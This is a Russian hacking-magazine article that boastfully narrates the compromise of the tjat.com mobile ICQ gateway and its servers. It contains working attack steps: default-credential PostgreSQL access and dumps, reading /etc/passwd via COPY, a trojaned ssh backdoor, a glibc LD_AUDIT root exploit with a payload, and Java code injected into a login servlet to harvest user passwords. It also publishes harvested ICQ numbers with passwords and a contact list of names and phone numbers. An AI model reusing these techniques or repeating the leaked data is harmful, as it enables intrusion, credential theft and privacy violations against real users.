По сложившейся доброй традиции, примерно один раз в два года ты можешь насладиться увлекательнейшей историей очередного взлома мобильного шлюза tjat.com, предназначенного для общения в ICQ/MSN/Yahoo/Chikka/AIM/GTalk/Facebook/Orkut/ВКонтакте прямо с экрана твоего телефона. Каждый из описанных взломов отличался увеличением сложности и глубины проникновения в систему, которая, в свою очередь, также росла, расширялась и видоизменялась. В сегодняшнем материале мы постараемся поставить жирную точку в этой истории, потому что получать контроль больше просто не над чем — в жестокой схватке пали последние из серверов этого WAP-сервиса.

 

Предыстория

Как-то раз мне в голову взбрело перебрать старые текстовые файлы с логами взломов tjat.com. Как это ни удивительно, но мой старый шелл все еще находился в укромном месте по адресу forums.tjat.com/phpBB2/language/lang_ukrainian/1.php! Конечно же, я сразу вспомнил былое и стал исследовать систему.

Во-первых, старинное ядро так никто и не удосужился пропатчить:

System: Linux tjat-srv-main 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686

Во-вторых, сохранился не только веб-шелл, но и суидник raptor_prctl1, полученный с помощью сплойта Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit.

В-третьих, вкуснейшие логи сервиса, в которых когда-то хранились пароли и ICQ-уины, по-прежнему находились в /usr/local/apache_1.3.37/logs/. Насторожило то, что эти самые логи имели крайне малый размер и уже не содержали ничего интересного.

Чтобы подтвердить закравшиеся сомнения, я проследовал на известный сервис Reverse IP Lookup и узнал, что теперь сервер forums.tjat.com обслуживает только следующие сайты:

  • forums.tjat.com;
  • temp.tjat.com;
  • tjat.com (редирект на miami.tjat.com);
  • www.tjat.com.

Такое положение вещей меня, конечно же, не устраивало, поэтому настала пора заняться взломом последних рубежей обороны tjat.com :).

 

Проникновение в БД

После не слишком долгих поисков стало ясно, что админы шлюза практически полностью перенесли свое творение на java и, соответственно, Apache Tomcat.

Из интересного на глаза мне попался файл /usr/local/tomcat/conf/Catalina/localhost/wapicq.xml, в котором содержались данные для подключения к некой PostgreSQL базе:


<Valve className="org.apache.catalina.valves.AccessLogValve" prefix="wapicq_access_log." suffix=".txt" pattern="combined" condition="p"/>
<Resource name="jdbc/wapicq" type="javax.sql.DataSource" auth="Container"
factory="org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"
url="jdbc:postgresql://10.0.0.1:5432/wapicq"
driverClassName="org.postgresql.Driver"
username="postgres"
password="postgres"
...

Я составил нехитрую команду для просмотра доступных баз данных:

/usr/local/hyperic/server-4.2.0/hqdb/bin/psql -h 10.0.0.1 -l -U postgres -W

И увидел следующую картину (кстати, как выяснилось немного позже, юзер postgres вообще не имел пароля!):

List of databases
Name        | Owner    | Encoding
------------+----------+-----------
art         | postgres | LATIN1
cabs        | postgres | UTF8
chikka      | postgres | SQL_ASCII
facebook    | postgres | UTF8
msn         | postgres | SQL_ASCII
myid        | postgres | UTF8
postgres    | postgres | LATIN1
space       | postgres | SQL_ASCII
statistics  | postgres | SQL_ASCII
summary     | postgres | SQL_ASCII
template0   | postgres | LATIN1
template1   | postgres | LATIN1
tjat        | postgres | SQL_ASCII
twitter     | postgres | UTF8
ucl         | postgres | UTF8
wapaol      | postgres | SQL_ASCII
wapfb       | postgres | UTF8
wapicq      | postgres | SQL_ASCII
wapqq       | postgres | SQL_ASCII
xmpp        | postgres | UTF8
yahoo       | postgres | SQL_ASCII

После небольших экспериментов и нескольких запросов к обнаруженной базе я нашел:

  1. Логи подключений к асе в таблице wapicq.icquser, весящие 141 Мб (аналогичным образом назывались и таблицы с логами для остальных сервисов):

...
555628075 2010-11-07 20:05:39 12.150.188.194 SonyEricssonK610i
333786737 2011-01-29 16:57:25 212.150.188.194 SonyEricssonW595/R3EJ
390588423 2010-12-10 05:08:38 213.87.76.177 Mozilla/5.0 (Linux; U; Android 2.1-update1; tr-tr; HTC_Wildfire_A3333 Build/ERE27)
429828391 2010-09-05 20:34:00 213.87.86.70 Opera/9.80
...

  1. Таблицу statistics.traffic, содержащую логи в формате Апача (из-за того, что отныне сервис не передает логин и пароль для подключения в _GET, толка от этих логов не было никакого);

  2. Маленькие таблицы myid.user_accounts и myid.users, содержащие непонятные аккаунты и пароли:

...
448280389;junam30
467470765;yulian2007
tjattest10@hotmail.com;tjattest1
ytest7654;123456
008138969;yulian7654
tjatqa1;qa1234
...

Здесь также стоит указать схему работы с утилитой pg_dump, так как PHP, установленный на сервере, не мог по дефолту работать с базами PostgreSQL:

/usr/local/hyperic/server-4.2.0/hqdb/bin/pg_dump -h 10.0.0.1 -U postgres -i -W -t icquser -v -f /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian/1.sql statistics

Данным запросом мы можем сдампить таблицу icquser из базы statistics в файл /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian/1.sql.

  1. Аналогичные postgres базы находились также на других серверах в сетке tjat: 192.168.25.2, 192.168.25.22, 192.168.25.23, 192.168.25.24, 192.168.25.25, 192.168.25.26 — это я узнал с помощью своих старых nmap-логов, описанных в предыдущей статье про наш многострадальный шлюз.
 

Топтание на одном месте

Потеряв много времени на изучение postgres-баз, я решил любыми путями проникнуть на соседние сервера — на одном из них должен был скрываться нужный нам wap.tjat.com.

Единственным доступным на тот момент способом казалось чтение и запись файлов с помощью встроенных в PostgreSQL средств. Но немного погуглив по теме, я сообразил следующую схему:

  1. Логинимся в постгрес

/usr/local/hyperic/server-4.2.0/hqdb/bin/psql -h 10.0.0.1 -U postgres -d statistics

  1. Читаем файлы с помощью следующего сценария:

set client_encoding to UTF8;
CREATE TABLE aaaaa(b text);
copy aaaaa from '/etc/passwd';
select * from aaaaa;
DROP TABLE aaaaa;

Данный сценарий успешно отработал и отобразил мне содержимое /etc/passwd на сервере 10.0.0.1:

...
haim:x:504:507::/home/haim:/bin/tcsh
Tjat_qa_Automation:x:505:508::/home/Tjat_qa_Automation:/bin/bash
TjToFc:x:0:0::/home/TjToFc:/bin/tcsh
vlad:x:506:510::/home/vlad:/bin/tcsh
yulian:x:507:511::/home/yulian:/bin/tcsh
yaron:x:508:512::/home/yaron:/bin/tcsh
yuriy:x:509:513::/home/yuriy:/bin/tcsh
JonathaN:x:510:514::/home/JonathaN:/bin/tcsh
OrenC:x:511:515::/home/OrenC:/bin/tcsh

Дальше, конечно же, возникла необходимость чтения других интересных файлов с postgres серверов tjat’а, но попытки прочитать что-то, кроме /etc/passwd, не увенчались успехом. Например, на запрос «copy aaaaa from '/etc/hosts';» постгрес ругался следующим образом:

ERROR: extra data after last expected column
CONTEXT: COPY aaaaa, line 3: "#127.0.0.1 tjat-oper-db tjat-stat-db localhost.localdomain localhost serverDB_il.tjat.com"

Не получив вменяемого ответа от Гугла, я совсем уже было опустил руки, но тут к делу подключилась свежая голова пожелавшего остаться неизвестным хеккера (далее — Анонимус), которому я и стукнул в аську :).

 

Все меняется, когда приходит Анонимус!

Недолго думая, Анонимус воспользовался уже известным тебе веб-шеллом на форумах tjat, удобно обустроился и получил привилегии рута. Поиски по серверу снова ничего не дали, постгрес же отвечал гробовым молчанием… Казалось бы, стоит оставить tjat.com с его асями в покое, но не тут-то было: вспомнив о статье ShadOS’а «Шапка-невидимка» из 103-го номера журнала, Анонимус принялся за протроянивание ssh.

По окончании этого нехитрого действия мы имели следующий профит:

  1. Вход в систему с магическим паролем tjatcompassword.
  2. Полное протоколирование входящих/исходящих соединений.
  3. Невидимость в системе.

Тут стоит упомянуть о том, что сервис ssh на forums.tjat.com и остальных серверах локальной сети располагался на необычном порту 4430, что помог выяснить установленный два года назад сканер nmap:

Host 192.168.25.8 appears to be up ... good.
Interesting ports on 192.168.25.8:
(The 65530 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
80/tcp open http Apache Tomcat/Coyote JSP engine 1.1
81/tcp open http Apache httpd 1.3.41 ((Unix))
111/tcp open rpcbind 2 (rpc #100000)
4430/tcp open ssh OpenSSH 4.3 (protocol 2.0)
8009/tcp open ajp13?

Также, если запустить внешний скан нашего хоста, то можно увидеть следующую информацию:

Host mail.tjat.com (82.80.244.153) is up (0.22s latency).
Interesting ports on mail.tjat.com (82.80.244.153):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 1.3.37 ((Unix) PHP/4.4.6)
4430/tcp open ssh OpenSSH 4.3 (protocol 2.0)

 

Эпик фэйл Димы

После того, как ssh был протроянен, нам оставалось лишь подождать входа в систему одного из администраторов. Ожидание омрачалось лишь одним фактом — команда «last -50» показывала, что единственный интересующийся данным сервером юзер dima заходил в систему более года назад.

Приняв во внимание данный факт, Анонимус предложил уронить какой-нибудь из сервисов, крутящихся на данной машине, для привлечения внимания ожидаемых нами админов. Выбор был сделан в пользу MySQL: /etc/init.d/mysql stop. Спустя несколько часов в лог упал аккаунт dima;dima76767676, а сервис мускуля был снова запущен :).

Теперь необходимо было проверить данный пароль на соответствие остальным серверам в сетке.

Первая же попытка коннекта «ssh -p 4430 dima@192.168.25.2» показала, что полученный нами пассворд подходит как минимум еще к одному серверу tjat!

Последующие тесты, а также логи nmap помогли узнать, что наиболее интересными для нас серверами являются 192.168.25.5, 192.168.25.6, 192.168.25.7 и 192.168.25.8 по следующим соображениям:

  1. Пароль Димы подошел ко всем перечисленным серверам.
  2. В логах Томката /usr/local/tomcat/logs/iсq был виден реферер wap.icq.com (в отличие от forums, на этих серверах логи были открыты на чтение непривилегированному юзеру).
  3. Логи были всегда свежими.

drwxr-xr-x 2 root root 4096 Feb 17 00:11 .
drwxr-xr-x 21 root root 4096 Feb 17 00:22 ..
-rw-r--r-- 1 root root 1756925 Feb 12 23:59 icq_access_log.2011-02-12.txt
-rw-r--r-- 1 root root 13264968 Feb 14 00:00 icq_access_log.2011-02-13.txt
-rw-r--r-- 1 root root 56353150 Feb 15 00:00 icq_access_log.2011-02-14.txt
-rw-r--r-- 1 root root 54432373 Feb 16 00:00 icq_access_log.2011-02-15.txt
-rw-r--r-- 1 root root 52451625 Feb 17 00:00 icq_access_log.2011-02-16.txt
-rw-r--r-- 1 root root 2056567 Feb 17 02:51 icq_access_log.2011-02-17.txt
...

Теперь необходимо было порутать наши сервера и подумать над получением логинов и паролей к аськам пользователей сервиса.

 

Последние рубежи

На всех нужных нам серверах Анонимус легко справился с задачей рутания (а затем и протроянивания) с помощью совершенно разных сплойтов, найденных на просторах exploit-db.com.

В большинстве же случаев помог небольшой сценарий, эксплуатирующий уязвимость в Glibc:

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 dima dima 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 dima dima 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
$ cat > payload.c
void attribute((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 dima dima 4.2K Oct 15 09:22 /tmp/exploit*
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root

Получив таким нехитрым образом абсолютные привилегии на четырех серверах, обслуживающих сайт wap.tjat.com, Анонимус предложил встроить в сервис троянский логгер для асек и стал подыскивать нужную точку для инжекта. Таковой оказался java-класс /usr/local/tomcat/webapps/wapicq/WEB-INF/classes/com/tjat/icq/wap/servlet/LoginServlet.class, который и содержал процедуру асечного логина:

String uin = WebServiceUtils.getRequestParameter(request, Parameter.username.value());
if(uin == null)
httpSession.getAttribute("uin");
String password = WebServiceUtils.getRequestParameter(request, Parameter.password.value());

Здесь необходимо было создать некую функцию записи в файл и вставить ее после получения пароля пользователя, то есть после строки, начинающейся со слов «String password».

Данная задача была решена Анонимусом с помощью Гугла и шаманского бубна следующим образом:

  1. Добавлялись input/output пакеты import java.io.*
  2. В начале класса LoginServlet.class добавилась функция writeToFile:public void writeToFile(String filename, String str) {
    BufferedWriter bufferedWriter = null;
    try {
    bufferedWriter = new BufferedWriter(new FileWriter(filename));
    bufferedWriter.write(str);
    if (bufferedWriter != null) {
    bufferedWriter.flush();
    bufferedWriter.close();
    }
    } catch (FileNotFoundException ex) {
    ex.printStackTrace();
    } catch (IOException ex) {
    ex.printStackTrace();
    }
    }
  3. После строки «String password» функция записывала в лог файлы уины с паролями следующим образом:writeToFile("/tmp/logs/logicq"+uin,uin+";"+password+"n");
 

Профит!

Наш незамысловатый логгер проработал примерно неделю до его обнаружения админами. За это время мы смогли получить примерно 6 000 номеров, большинство из которых, конечно же, были кривейшими 9-знаками:

...
267962705;sfam2990
268196940;iddqd
268314965;9813694
268524966;null
268619289;rfgbnjy
2687242;0leKMyQ7
269558047;lifetec
270323224;ilevr13
270405008;univega
271169757;Minka0708
271216896;bambin
271513810;medvediki
2718070;N@DEZHD@
273801640;mahal7
273967932;aned2305
274288079;52355200
274340894;4672108
274512176;twilight
...
596351383;121314
597424414;Qw95mdfF
597439288;212008
597743487;qwerasdf123
597852239;042206tis
598396568;357159
598858992;15031993
598965238;katea60
599046657;lancer2000
599522128;nyrek90
599560833;2836846
599916355;031093
599922284;null
599950031;burenator
600223141;fuck123
600991756;123ac456
601000602;enemenezicjzack
601142649;2402%5E_%5E
602320989;FK31QC7CJc
602533494;7Mo30qLX
...

Однако среди этого многообразия, как и в прошлые разы, попалось n-ное количество админских и просто красивых номеров. По сложившейся традиции публикую часть контакт-листа одного из таких номеров — 44446:

...
Work;10776;sarel;;+972 52 4888601 SMS;
Work;11001;Vadim;;+972 52 3698945 SMS;Thu Nov 23 2006 12:32:40
Work;123178848;sasha;;+972 (547) 391010;Tue Dec 19 2006 14:51:36
Work;12721;yonitg;;+972 502340003 SMS;Mon Jun 19 2006 08:44:54
Work;12826;Orit Fredkof;;;
Work;13579;Rami;;;Thu Sep 07 2006 14:58:57
Work;14366;amit;;(972) 524888622;Sun Jul 30 2006 09:17:37
Work;14441;Ron Harari;;+972 52 4888584 SMS;Thu Sep 07 2006 15:00:06
Work;148171833;HarelEfraim;;+972 54 3054450 SMS;Thu Sep 07 2006 15:00:22
Work;148940113;SF;;+972 (54) 4902642;Mon Jun 19 2006 08:43:46
Work;15123;Ruti;;;
Work;166967874;einat;;(972) 524888588;Mon Dec 18 2006 09:42:10
Work;16781;BoLo;;;
Work;16878;Michael Cohen;;+972 54 4527767 SMS;Mon Jun 19 2006 08:43:46
Work;18981;Ephraim;;;
Work;19791;Lior;;+972 52 4888605 SMS;Fri Jan 12 2007 12:58:39
Work;199516410;Galia;;+972 52549822 SMS;Mon Jun 19 2006 08:43:46
Work;20304;Dana;;+972 54 4954265 SMS;
Work;214509417;ouriel;;(972) 523023131;Thu Sep 07 2006 14:58:47
Work;21512;Noam ;);;(972) 4234556;Mon Jun 19 2006 08:43:45
Work;219380542;yair;;+972 52 4888596 SMS;Mon Jun 19 2006 08:42:40
Work;22221;Osnat;;+972 52 6122604 SMS;Thu Sep 07 2006 14:58:37
Work;22580;Paz;;;Mon Jun 19 2006 08:42:40
Work;23004;Channy;;;Fri Jul 14 2006 09:40:22
Work;23232;Klieger;;;Mon Jun 19 2006 08:42:40
Work;23234;Yifat;;+972 52 4888575 SMS;Sat Dec 16 2006 06:05:05
...

Как видишь, WAP ICQ-шлюз tjat.com по-прежнему пользуется популярностью среди определенного круга людей, хотя, надо заметить, что эта популярность значительно упала по сравнению с 2006-2008 годами.

Кстати, примерно в то же время Анонимус случайно заглянул в каталог /tmp на forums.tjat.com и обнаружил в нем подозрительные файлы вида tmp_Nagios_proc.63.218.56.11.postmaster, tmp_Nagios_proc.63.218.56.5.java и так далее.

После быстрой проверки выяснилось, что эти сервера обслуживают один сайт — miami.tjat.com, на который вел редирект с основного домена tjat.com и который, в отличие от wap.tjat.com, содержал еще и сервис для общения в русской социальной сети ВКонтакте.

Конечно же, сразу был проверен (и сразу подошел) ранее полученный пароль Димы, а внезапно найденная вторая сетка Tjat была быстро порутана и протроянена :).

 

Напоследок

После обнаружения логгера админы, мало того, что не пропатчили свои сервера, но еще и:

  1. Не изменили ни одного пароля.
  2. Не удалили троянский ssh.
  3. Вообще не позаботились о дальнейшем обеспечении безопасности своей системы (и это после третьего известного им взлома!).

В связи с данными обстоятельствами Анонимус, конечно же, предложил создать более продвинутый логгер для всех сервисов Tjat и поиметь, помимо ICQ, кучу аккаунтов MSN, Facebook и иже с ними, но это уже другая история :).

В целом же, оглядываясь на этот воистину эпохальный взлом целой армады серверов одного сервиса, я бы посоветовал тебе никогда и нигде не использовать одинаковые пароли (главная уязвимость Tjat — один и тот же пароль), а также внимательнейшим образом следить за безопасностью подконтрольных тебе систем.

Надеюсь, что в третий раз я, наконец, смогу поставить точку во взломе многострадального tjat.com :).

 

DANGER

Все описанное в статье является плодом воображения автора. Любые совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами этой статьи.

 

Ссылки по теме

Оставить мнение

Check Also

Найден способ подменить относительный идентификатор RID и повысить привилегии в Windows

Специалист компании CSL нашел способ подменять RID в Windows, что позволяет получить права…